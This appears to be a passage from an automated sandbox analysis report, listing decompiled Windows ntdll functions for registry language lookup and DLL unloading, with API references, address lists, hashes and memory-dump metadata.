Part of subcall function 6D24E620: RtlInitUnicodeString.1105(?,InstallLanguageFallback,?,?,?,?,00020019,00000018), ref: 6D24E6E5
Part of subcall function 6D24E620: ZwClose.1105(00000000,?,?,?,?,00020019,00000018), ref: 6D24E720
Part of subcall function 6D24E620: RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,00020019,00000018), ref: 6D24E736

ZwClose.1105(00000000,?,?,?,?,?,?,?,?,?,Type,00000000,00020019,00000018,?,?), ref: 6D24DF8D
ZwClose.1105(00000000,00000000,?,?,?,?,?,?,?,?,?,Type,00000000,00020019,00000018,?), ref: 6D24DFBD

Strings

Type, xrefs: 6D24DEAD
\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages, xrefs: 6D24DD83

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseFreeOpen$InfoLanguageRegistryRtlp$ComittedEnumerateHeapInstallQuerymemset
String ID: Type$\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages
API String ID: 395581927-1779307477
Opcode ID: f0d1b47f6b07c020a714da1b4696ebb5061ba9e39df939f5fe3209f1950c8429
Instruction ID: cce650df30d9f2398903ce9614967d2bacf6ecb6e159cbb083c5859305d8c240
Opcode Fuzzy Hash: f0d1b47f6b07c020a714da1b4696ebb5061ba9e39df939f5fe3209f1950c8429
Instruction Fuzzy Hash: 3591B67198561E9BDB34DB64CC88BEAB7B4EF84314F1181EAD909E3250EB34DA84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6D246F60, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 235
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D246F60(WCHAR* _a4, WCHAR* _a8, void* _a12, signed int _a16, void* _a20, unsigned int _a24, int* _a28) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				char _v32;
				void* _v36;
				void* _v44;
				long _v48;
				char _v52;
				char _v56;
				char _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				int _v80;
				signed int _t72;
				signed int _t81;
				WCHAR* _t88;
				int* _t96;
				void _t100;
				void _t106;
				void* _t107;
				int* _t108;
				long _t111;
				unsigned int _t113;
				unsigned int _t115;
				int _t117;
				void* _t118;
				intOrPtr* _t121;
				void* _t123;
				int _t126;
				void* _t127;
				void* _t128;
				void* _t131;
				signed int _t134;
				long _t136;
				void* _t137;
				signed int _t138;

				_t72 = _a16;
				_t111 = 0;
				_v44 = 0;
				_v52 = 0;
				_v48 = 0;
				_t131 = 0;
				if(_t72 != 0) {
					if(_t72 == 1) {
						goto L1;
					}
					_t81 = 0xc00000f1;
					L14:
					return _t81;
				}
				L1:
				_v28 = 0x18;
				_v20 = 0x6d2216a8 + _t72 * 8;
				_push( &_v28);
				_push(0x20019);
				_v24 = _t111;
				_push( &_v52);
				_v16 = 0x40;
				_v12 = _t111;
				_v8 = _t111;
				_t134 = E6D289600();
				if(_t134 != 0xc0000034) {
					if(_t134 < 0) {
						L10:
						if(_v52 != 0) {
							_push(_v52);
							E6D2895D0();
						}
						if(_v48 != 0) {
							_push(_v48);
							E6D2895D0();
						}
						if(_t131 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t111, _t131);
						}
						_t81 = _t134;
						goto L14;
					}
					RtlInitUnicodeString( &_v36, _a4);
					_v32 = _v60;
					_v28 =  &_v44;
					_push( &_v36);
					_push(0x20019);
					_v36 = 0x18;
					_push( &_v56);
					_v24 = 0x40;
					_v20 = _t111;
					_v16 = _t111;
					_t134 = E6D289600();
					if(_t134 == 0xc0000034) {
						goto L2;
					}
					L20:
					if(_t134 < 0) {
						goto L10;
					}
					_t88 = _a8;
					if(_t88 == 0) {
						_t88 = L"TargetPath";
					}
					RtlInitUnicodeString( &_v44, _t88);
					_t113 = _a24;
					_t136 = _t113 + 0x10;
					if(_t136 >= _t113) {
						_t131 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t136);
						if(_t131 != 0) {
							_push( &_v80);
							_push(_t136);
							_push(_t131);
							_push(2);
							_push( &_v60);
							_push(_v72);
							_t134 = E6D289650();
							if(_t134 < 0) {
								if(_t134 != 0x80000005) {
									goto L51;
								}
								L32:
								_t117 =  *(_t131 + 8);
								_t49 = _t131 + 0xc; // 0xc
								_t128 = _t49;
								_v80 = _t117;
								if(_t134 < 0) {
									L47:
									_t96 = _a28;
									if(_t96 != 0) {
										 *_t96 = _t117;
									}
									if(_t134 >= 0) {
										memcpy(_a20, _t128, _t117);
									}
									goto L51;
								}
								_t115 = _a24;
								if( *((intOrPtr*)(_t128 + (_t117 >> 1) * 2 - 2)) != 0) {
									_t117 = _t117 + 2;
									_v80 = _t117;
									if(_t115 < _t117) {
										_t134 = 0x80000005;
									} else {
										 *((short*)(_t128 + (_t117 >> 1) * 2 - 2)) = 0;
										_t117 = _v80;
									}
								}
								if(_t134 < 0 ||  *((intOrPtr*)(_t131 + 4)) != 2) {
									goto L47;
								} else {
									_t118 = _t128;
									_t61 = _t118 + 2; // 0xe
									_t137 = _t61;
									do {
										_t100 =  *_t118;
										_t118 = _t118 + 2;
									} while (_t100 != _v68);
									_t111 = 0;
									_t134 = E6D272440(0, _t128, _t118 - _t137 >> 1, _a20, _t115 >> 1,  &_v64);
									if(_t134 >= 0 || _t134 == 0xc0000023) {
										_t121 = _a28;
										if(_t121 != 0) {
											 *_t121 = _v64 + _v64;
										}
										if(_t134 == 0xc0000023) {
											_t134 = 0x80000005;
										}
									}
									goto L10;
								}
							}
							if( *((intOrPtr*)(_t131 + 4)) == 1 ||  *((intOrPtr*)(_t131 + 4)) == 2) {
								goto L32;
							} else {
								_t134 = 0xc0000024;
								goto L51;
							}
						}
						_t134 = 0xc0000017;
						goto L51;
					} else {
						_t134 = 0xc0000095;
						L51:
						_t111 = 0;
						goto L10;
					}
				}
				L2:
				_t127 = _a12;
				if(_t127 == 0) {
					goto L20;
				} else {
					_t123 = _t127;
					_t138 = _t123 + 2;
					goto L4;
					L4:
					_t106 =  *_t123;
					_t123 = _t123 + 2;
					if(_t106 != _t111) {
						goto L4;
					} else {
						_t107 = (_t123 - _t138 >> 1) + 1;
						_t126 = _t107 + _t107;
						_v64 = _t126;
						if(_t126 < _t107) {
							_t134 = 0xc0000095;
						} else {
							_t108 = _a28;
							asm("sbb esi, esi");
							_t134 = _t138 & 0x80000005;
							if(_t108 != 0) {
								 *_t108 = _t126;
							}
							if(_t126 <= _a24) {
								memcpy(_a20, _t127, _t126);
							}
						}
						goto L10;
					}
				}
			}

0x6d246f6b
0x6d246f6f
0x6d246f71
0x6d246f75
0x6d246f79
0x6d246f7f
0x6d246f83
0x6d2a20d3
0x00000000
0x00000000
0x6d2a20d9
0x6d247045
0x6d24704b
0x6d24704b
0x6d246f89
0x6d246f90
0x6d246f98
0x6d246fa0
0x6d246fa1
0x6d246faa
0x6d246fae
0x6d246faf
0x6d246fb7
0x6d246fbb
0x6d246fc4
0x6d246fcc
0x6d2a20e5
0x6d247025
0x6d24702a
0x6d2a22a1
0x6d2a22a5
0x6d2a22a5
0x6d247035
0x6d2a22af
0x6d2a22b3
0x6d2a22b3
0x6d24703d
0x6d2a22c8
0x6d2a22c8
0x6d247043
0x00000000
0x6d247043
0x6d2a20f3
0x6d2a20fc
0x6d2a2104
0x6d2a210c
0x6d2a210d
0x6d2a2116
0x6d2a211e
0x6d2a211f
0x6d2a2127
0x6d2a212b
0x6d2a2134
0x6d2a213c
0x00000000
0x00000000
0x6d2a2142
0x6d2a2144
0x00000000
0x00000000
0x6d2a214a
0x6d2a214f
0x6d2a2151
0x6d2a2151
0x6d2a215c
0x6d2a2161
0x6d2a2164
0x6d2a2169
0x6d2a2187
0x6d2a218b
0x6d2a219b
0x6d2a219c
0x6d2a219d
0x6d2a219e
0x6d2a21a4
0x6d2a21a5
0x6d2a21ae
0x6d2a21b2
0x6d2a21d0
0x00000000
0x00000000
0x6d2a21d6
0x6d2a21d6
0x6d2a21d9
0x6d2a21d9
0x6d2a21dc
0x6d2a21e2
0x6d2a2280
0x6d2a2280
0x6d2a2285
0x6d2a2287
0x6d2a2287
0x6d2a228b
0x6d2a2292
0x6d2a2297
0x00000000
0x6d2a228b
0x6d2a21f3
0x6d2a21f6
0x6d2a21f8
0x6d2a21fb
0x6d2a2201
0x6d2a2212
0x6d2a2203
0x6d2a2207
0x6d2a220c
0x6d2a220c
0x6d2a2201
0x6d2a2219
0x00000000
0x6d2a2221
0x6d2a2221
0x6d2a2223
0x6d2a2223
0x6d2a2226
0x6d2a2226
0x6d2a2229
0x6d2a222c
0x6d2a2240
0x6d2a224c
0x6d2a2255
0x6d2a225f
0x6d2a2264
0x6d2a226c
0x6d2a226c
0x6d2a2270
0x6d2a2276
0x6d2a2276
0x6d2a2270
0x00000000
0x6d2a2255
0x6d2a2219
0x6d2a21b8
0x00000000
0x6d2a21c0
0x6d2a21c0
0x00000000
0x6d2a21c0
0x6d2a21b8
0x6d2a218d
0x00000000
0x6d2a216b
0x6d2a216b
0x6d2a229a
0x6d2a229a
0x00000000
0x6d2a229a
0x6d2a2169
0x6d246fd2
0x6d246fd2
0x6d246fd7
0x00000000
0x6d246fdd
0x6d246fdd
0x6d246fdf
0x6d246fdf
0x6d246fe2
0x6d246fe2
0x6d246fe5
0x6d246feb
0x00000000
0x6d246fed
0x6d246ff1
0x6d246ff4
0x6d246ff7
0x6d246ffd
0x6d24704e
0x6d246fff
0x6d247002
0x6d247005
0x6d247007
0x6d24700f
0x6d247011
0x6d247011
0x6d247016
0x6d24701d
0x6d247022
0x6d247016
0x00000000
0x6d246ffd
0x6d246feb

APIs

ZwOpenKey.1105(?,?,?,?,00020019,00000018), ref: 6D246FBF

Part of subcall function 6D289600: LdrInitializeThunk.NTDLL(6D281119,?,?,00000018,?), ref: 6D28960A

memcpy.1105(?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6D24701D
RtlInitUnicodeString.1105(?,?,?,?,?,?,00020019,00000018), ref: 6D2A20F3
ZwOpenKey.1105(?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6D2A212F
RtlInitUnicodeString.1105(?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6D2A215C
RtlAllocateHeap.1105(?,00000000,?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6D2A2182
ZwClose.1105(00000000,?,?,?,?,00020019,00000018), ref: 6D2A22A5

Strings

TargetPath, xrefs: 6D2A2151, 6D2A2156
@, xrefs: 6D2A211F

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode$AllocateCloseHeapInitializeThunkmemcpy
String ID: @$TargetPath
API String ID: 1135747570-4164548946
Opcode ID: 7a681c69819f9091f4e994e709d76972575c45d1caba5ea7e2351113840048d8
Instruction ID: fd97fdec1174fc0832c48170d06b8dfb65dce88862bfe7a79a1ebfe941b17ff3
Opcode Fuzzy Hash: 7a681c69819f9091f4e994e709d76972575c45d1caba5ea7e2351113840048d8
Instruction Fuzzy Hash: 5081CDB298831A9FD725CE29C880A6BB7B8FF84304F05952DED5597210E335DC45CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6D24F51D, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185
librarymemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6D24F51D(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t54;
				intOrPtr _t63;
				intOrPtr _t76;
				signed int _t77;
				signed int _t86;
				void* _t88;
				signed int _t89;
				void* _t90;
				intOrPtr* _t91;
				intOrPtr _t92;
				intOrPtr* _t93;
				void* _t94;
				void* _t95;
				signed int _t101;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				void* _t113;
				intOrPtr* _t115;
				void* _t116;
				signed int _t117;
				signed int _t118;
				signed int _t120;

				_t106 = __edx;
				_t93 = __ecx;
				_t120 = (_t118 & 0xfffffff8) - 0x14;
				_v8 =  *0x6d33d360 ^ _t120;
				_t115 = __ecx;
				_v24 =  *[fs:0x30];
				_t88 = 0;
				_v16 = __ecx;
				_push(_t108);
				if( *((intOrPtr*)(__ecx + 0x20)) == 0xfffffffc) {
					L3:
					 *(_t115 + 0x20) =  *(_t115 + 0x20) | 0xffffffff;
					E6D250225(_t88, _t93, _t108, _t115,  *(_t115 + 0x20));
					L4:
					if( *0x6d338472 != _t88) {
						_t106 =  *0x7ffe0330;
						_t89 =  *0x6d33b210; // 0x0
						_t94 = 0x20;
						_t93 = _t94 - (_t106 & 0x0000001f);
						asm("ror ebx, cl");
						_t88 = _t89 ^ _t106;
					}
					L6D25EEF0(0x6d3352d8);
					_t54 =  *_t115;
					while(1) {
						_v20 = _t54;
						if(_t54 == _t115) {
							break;
						}
						_t22 = _t54 - 0x54; // -84
						_t109 = _t22;
						__eflags =  *(_t109 + 0x34) & 0x00000008;
						if(( *(_t109 + 0x34) & 0x00000008) != 0) {
							_push(_t93);
							_t106 = 2;
							E6D258B80(_t109, _t106);
							__eflags = _t88;
							if(_t88 != 0) {
								 *0x6d33b1e0(_t109);
								 *_t88();
							}
							_t93 = _t109;
							E6D258800(_t93, 1);
							_t63 = _v32;
							__eflags =  *(_t63 + 0x68) & 0x00000100;
							if(( *(_t63 + 0x68) & 0x00000100) != 0) {
								_t93 = _t109;
								E6D2CEA20(_t93);
							}
						}
						__eflags =  *0x6d335780 & 0x00000005;
						if(__eflags != 0) {
							_t46 = _t109 + 0x24; // -48
							E6D2C5510("minkernel\\ntdll\\ldrsnap.c", 0xc5e, "LdrpUnloadNode", 2, "Unmapping DLL \"%wZ\"\n", _t46);
							_t120 = _t120 + 0x18;
						}
						_push(0);
						_push( *((intOrPtr*)(_t109 + 0x18)));
						E6D250100(_t88, _t93, _t109, _t115, __eflags);
						_t54 =  *_v28;
					}
					_t65 = E6D25EB70(_t93, 0x6d3352d8);
					while(1) {
						L8:
						_t95 =  *(_t115 + 0x18);
						if(_t95 == 0) {
							break;
						}
						_t110 =  *_t95;
						__eflags = _t110 - _t95;
						if(_t110 != _t95) {
							_t65 =  *_t110;
							 *_t95 =  *_t110;
						} else {
							_t34 = _t115 + 0x18;
							 *_t34 =  *(_t115 + 0x18) & 0x00000000;
							__eflags =  *_t34;
						}
						__eflags = _t110;
						if(_t110 == 0) {
							break;
						} else {
							E6D262280(_t65, 0x6d3384d8);
							_t92 =  *((intOrPtr*)(_t110 + 4));
							_t37 = _t110 + 8; // -76
							_t107 = _t37;
							_t101 =  *(_t92 + 0x1c);
							_t76 =  *_t101;
							_v28 = _t76;
							__eflags = _t76 - _t107;
							if(_t76 != _t107) {
								_t117 = _v24;
								do {
									_t77 =  *_t117;
									_t101 = _t117;
									_t117 = _t77;
									__eflags = _t77 - _t107;
								} while (_t77 != _t107);
								_t115 = _v16;
							}
							 *_t101 =  *_t107;
							__eflags =  *(_t92 + 0x1c) - _t107;
							if(__eflags == 0) {
								asm("sbb eax, eax");
								_t86 =  ~(_t101 - _t107) & _t101;
								__eflags = _t86;
								 *(_t92 + 0x1c) = _t86;
							}
							_t106 = 0;
							_push( &_v12);
							E6D25093F(_t92, _t92, 0, _t110, _t115, __eflags);
							E6D25FFB0(_t92, _t110, 0x6d3384d8);
							__eflags = _v20;
							if(_v20 != 0) {
								E6D24F51D(_t92, 0);
							}
							_t65 = RtlFreeHeap( *0x6d337b98, 0, _t110);
							continue;
						}
					}
					_t111 =  *_t115;
					 *(_t115 + 0x20) = 0xfffffffe;
					if(_t111 == _t115) {
						L14:
						_pop(_t112);
						_pop(_t116);
						_pop(_t90);
						return E6D28B640(_t65, _t90, _v8 ^ _t120, _t106, _t112, _t116);
					} else {
						goto L10;
					}
					do {
						L10:
						_t91 =  *_t111;
						_t113 = _t111 + 0xffffffac;
						 *(_t113 + 0x34) =  *(_t113 + 0x34) | 0x00000002;
						E6D262280(_t65, 0x6d3384d8);
						E6D25008A(_t113, _t115);
						if(( *(_t113 + 0x34) & 0x00000080) != 0) {
							_t17 = _t113 + 0x74; // -140
							L6D24F900(0x6d3385fc, _t17);
							_t18 = _t113 + 0x68; // -152
							L6D24F900(0x6d3385f4, _t18);
							 *(_t113 + 0x20) =  *(_t113 + 0x20) & 0x00000000;
						}
						E6D25FFB0(_t91, _t113, 0x6d3384d8);
						if( *0x6d337b94 != 0) {
							E6D280413(_t113);
						}
						_t65 = E6D25EC7F(_t113);
						_t111 = _t91;
					} while (_t91 != _t115);
					goto L14;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 7) {
					goto L4;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) != 9) {
					goto L8;
				}
				goto L3;
			}

0x6d24f51d
0x6d24f51d
0x6d24f525
0x6d24f52f
0x6d24f53b
0x6d24f53d
0x6d24f541
0x6d24f543
0x6d24f547
0x6d24f54c
0x6d24f55a
0x6d24f55a
0x6d24f55e
0x6d24f563
0x6d24f569
0x6d24f718
0x6d24f720
0x6d24f72b
0x6d24f72c
0x6d24f72e
0x6d24f730
0x6d24f730
0x6d24f574
0x6d24f579
0x6d24f57b
0x6d24f57b
0x6d24f581
0x00000000
0x00000000
0x6d24f61f
0x6d24f61f
0x6d24f622
0x6d24f626
0x6d24f628
0x6d24f62b
0x6d24f62e
0x6d24f633
0x6d24f635
0x6d24f73a
0x6d24f740
0x6d24f740
0x6d24f63d
0x6d24f63f
0x6d24f644
0x6d24f648
0x6d24f64f
0x6d2a5d11
0x6d2a5d13
0x6d2a5d13
0x6d24f64f
0x6d24f655
0x6d24f65c
0x6d2a5d1d
0x6d2a5d37
0x6d2a5d3c
0x6d2a5d3c
0x6d24f662
0x6d24f664
0x6d24f667
0x6d24f670
0x6d24f670
0x6d24f58c
0x6d24f591
0x6d24f591
0x6d24f591
0x6d24f596
0x00000000
0x00000000
0x6d24f677
0x6d24f679
0x6d24f67b
0x6d24f706
0x6d24f708
0x6d24f681
0x6d24f681
0x6d24f681
0x6d24f681
0x6d24f681
0x6d24f685
0x6d24f687
0x00000000
0x6d24f68d
0x6d24f692
0x6d24f697
0x6d24f69a
0x6d24f69a
0x6d24f69d
0x6d24f6a0
0x6d24f6a2
0x6d24f6a6
0x6d24f6a8
0x6d24f6f2
0x6d24f6f6
0x6d24f6f6
0x6d24f6f8
0x6d24f6fa
0x6d24f6fc
0x6d24f6fc
0x6d24f700
0x6d24f700
0x6d24f6ac
0x6d24f6ae
0x6d24f6b1
0x6d24f6b9
0x6d24f6bb
0x6d24f6bb
0x6d24f6bd
0x6d24f6bd
0x6d24f6c4
0x6d24f6c6
0x6d24f6c9
0x6d24f6d3
0x6d24f6d8
0x6d24f6dd
0x6d24f711
0x6d24f711
0x6d24f6e8
0x00000000
0x6d24f6e8
0x6d24f687
0x6d24f59c
0x6d24f59e
0x6d24f5a7
0x6d24f60d
0x6d24f611
0x6d24f612
0x6d24f613
0x6d24f61e
0x00000000
0x00000000
0x00000000
0x6d24f5a9
0x6d24f5a9
0x6d24f5a9
0x6d24f5ab
0x6d24f5b3
0x6d24f5b7
0x6d24f5be
0x6d24f5c7
0x6d24f5c9
0x6d24f5d2
0x6d24f5d7
0x6d24f5e0
0x6d24f5e5
0x6d24f5e5
0x6d24f5ee
0x6d24f5fa
0x6d2a5d46
0x6d2a5d46
0x6d24f602
0x6d24f607
0x6d24f609
0x00000000
0x6d24f5a9
0x6d24f552
0x00000000
0x00000000
0x6d24f558
0x00000000
0x00000000
0x00000000

APIs

RtlEnterCriticalSection.1105(6D3352D8), ref: 6D24F574
RtlLeaveCriticalSection.1105(6D3352D8,?,00000000,6D3352D8), ref: 6D24F58C
RtlAcquireSRWLockExclusive.1105 ref: 6D24F5B7
RtlRbRemoveNode.1105(6D3385FC,-0000008C), ref: 6D24F5D2
RtlRbRemoveNode.1105(6D3385F4,-00000098,6D3385FC,-0000008C), ref: 6D24F5E0
RtlReleaseSRWLockExclusive.1105(6D3384D8), ref: 6D24F5EE
LdrUnloadAlternateResourceModuleEx.1105(?,00000000,6D3352D8), ref: 6D24F667
RtlAcquireSRWLockExclusive.1105(6D3384D8,6D3352D8,?,00000000,6D3352D8), ref: 6D24F692
RtlReleaseSRWLockExclusive.1105(6D3384D8,?,6D3384D8,6D3352D8,?,00000000,6D3352D8), ref: 6D24F6D3
RtlFreeHeap.1105(00000000,-00000054,6D3384D8,?,6D3384D8,6D3352D8), ref: 6D24F6E8
RtlDebugPrintTimes.1105(-00000054,?,6D3352D8), ref: 6D24F73A

Strings

Unmapping DLL "%wZ", xrefs: 6D2A5D21
LdrpUnloadNode, xrefs: 6D2A5D28
minkernel\ntdll\ldrsnap.c, xrefs: 6D2A5D32

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCriticalNodeReleaseRemoveSection$AlternateDebugEnterFreeHeapLeaveModulePrintResourceTimesUnload
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 2596885168-2283098728
Opcode ID: 59301c8465023ffbaa355802f7825b406363c64c1d0e89163bae7f6c52654577
Instruction ID: bfc606b061f9b4827c7e710493bdf64207891c5965d722c909bd74e887eefe8c
Opcode Fuzzy Hash: 59301c8465023ffbaa355802f7825b406363c64c1d0e89163bae7f6c52654577
Instruction Fuzzy Hash: 7551067129874BAFC719DF28C984B3B73A1BBC5329F12862CE961876A1D730D854CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D24E620, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 165
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6D24E620(void* __ecx, short* __edx, short* _a4) {
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v44;
				signed int _v48;
				char _v52;
				void* _v56;
				void* _v64;
				intOrPtr _v68;
				char _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				void* _v92;
				void* _v100;
				void* _v108;
				void* _v116;
				signed int _t57;
				signed int _t70;
				WCHAR* _t71;
				signed int _t72;
				WCHAR* _t74;
				signed int _t79;
				signed int _t83;
				short* _t90;
				WCHAR* _t91;
				short* _t93;
				void* _t94;
				signed int _t96;
				void* _t98;
				void* _t99;

				_t98 = (_t96 & 0xfffffff8) - 0x34;
				_t93 = __edx;
				_v44 = __edx;
				_t74 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t94 = 0xc000000d;
				} else {
					_t90 = _a4;
					if(_t90 == 0) {
						goto L28;
					}
					_t74 = E6D24F358(__ecx, 0xac);
					if(_t74 == 0) {
						_t94 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E6D2895D0();
						}
						if(_t74 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t74);
						}
						return _t94;
					}
					memset(_t74, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t99 = _t98 + 0xc;
					 *_t93 = 0;
					 *_t90 = 0;
					RtlInitUnicodeString( &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t94 = E6D289600();
					if(_t94 < 0) {
						goto L6;
					}
					RtlInitUnicodeString( &_v44, L"InstallLanguageFallback");
					_push(0);
					_v56 = 4;
					_t94 = E6D24F018(_v72,  &_v52,  &_v64, _t74,  &_v56);
					if(_t94 >= 0) {
						if(_v68 != 1) {
							L17:
							_t94 = 0xc0000001;
							goto L6;
						}
						_t57 =  *_t74 & 0x0000ffff;
						_t91 = _t74;
						_t79 = _t57;
						if(_t57 == 0) {
							L19:
							if(_t79 == 0) {
								L23:
								RtlInitUnicodeString( &_v56, _t74);
								if(E6D2543C0( &_v64,  &_v80) == 0) {
									goto L17;
								}
								 *_v72 = _v80;
								if( *_t91 != 0) {
									RtlInitUnicodeString( &_v64, _t91);
									if(E6D2543C0( &_v72, _t99 + 0x10) != 0) {
										 *_a4 =  *((intOrPtr*)(_t99 + 0x10));
									} else {
										_t94 = 0xc0000001;
										 *_v80 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t79 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t91 =  &(_t91[1]);
								_t70 =  *_t91 & 0x0000ffff;
								_t83 = _t70;
								if(_t70 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t91[1]); // 0x2
							_t71 = _t27;
							if(_t79 == 0x2c) {
								break;
							}
							_t91 = _t71;
							_t72 =  *_t91 & 0x0000ffff;
							_t79 = _t72;
							if(_t72 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t91 = 0;
						_t91 = _t71;
						_t79 =  *_t71 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x6d24e628
0x6d24e62f
0x6d24e631
0x6d24e635
0x6d24e637
0x6d24e63e
0x6d2a5503
0x6d2a5503
0x6d24e64c
0x6d24e64c
0x6d24e651
0x00000000
0x00000000
0x6d24e661
0x6d24e665
0x6d2a542a
0x6d24e715
0x6d24e71a
0x6d24e71c
0x6d24e720
0x6d24e720
0x6d24e727
0x6d24e736
0x6d24e736
0x6d24e743
0x6d24e743
0x6d24e673
0x6d24e678
0x6d24e67d
0x6d24e682
0x6d24e685
0x6d24e692
0x6d24e69b
0x6d24e6a3
0x6d24e6ad
0x6d24e6b1
0x6d24e6b2
0x6d24e6bb
0x6d24e6bf
0x6d24e6c0
0x6d24e6c8
0x6d24e6cc
0x6d24e6d5
0x6d24e6d9
0x00000000
0x00000000
0x6d24e6e5
0x6d24e6ea
0x6d24e6f9
0x6d24e70b
0x6d24e70f
0x6d2a5439
0x6d2a545e
0x6d2a545e
0x00000000
0x6d2a545e
0x6d2a543b
0x6d2a543e
0x6d2a5440
0x6d2a5445
0x6d2a5472
0x6d2a5475
0x6d2a548d
0x6d2a5493
0x6d2a54a9
0x00000000
0x00000000
0x6d2a54b4
0x6d2a54bc
0x6d2a54c8
0x6d2a54de
0x6d2a54fb
0x6d2a54e0
0x6d2a54e6
0x6d2a54eb
0x6d2a54eb
0x6d2a54de
0x00000000
0x6d2a54bc
0x6d2a5477
0x6d2a547a
0x6d2a5480
0x6d2a5483
0x6d2a5486
0x6d2a548b
0x00000000
0x00000000
0x00000000
0x6d2a548b
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2a5447
0x6d2a5447
0x6d2a5447
0x6d2a5447
0x6d2a544e
0x00000000
0x00000000
0x6d2a5450
0x6d2a5452
0x6d2a5455
0x6d2a545a
0x00000000
0x00000000
0x00000000
0x6d2a545c
0x6d2a546a
0x6d2a546d
0x6d2a546f
0x00000000
0x6d2a546f
0x6d24e70f

APIs

Part of subcall function 6D24F358: RtlAllocateHeap.1105(?,00000008,?,00000002,00000055,00000000,?,?,6D2FD6D4,00000001,00000000,?,?,00000000,00000000,6D2571B4), ref: 6D24F387

memset.1105(00000000,00000000,00000158,0000EEEE,?), ref: 6D24E673
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\NLS\Language,0000EEEE,?,?,?,?,?,?,?,?,?,?,?,?,6D2FEEFD), ref: 6D24E692
ZwOpenKey.1105(?,?,?,?,00020019,00000018), ref: 6D24E6D0

Part of subcall function 6D289600: LdrInitializeThunk.NTDLL(6D281119,?,?,00000018,?), ref: 6D28960A

RtlInitUnicodeString.1105(?,InstallLanguageFallback,?,?,?,?,00020019,00000018), ref: 6D24E6E5

Part of subcall function 6D24F018: RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6D24F05B
Part of subcall function 6D24F018: ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6D24F07A
Part of subcall function 6D24F018: memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6D24F0AB
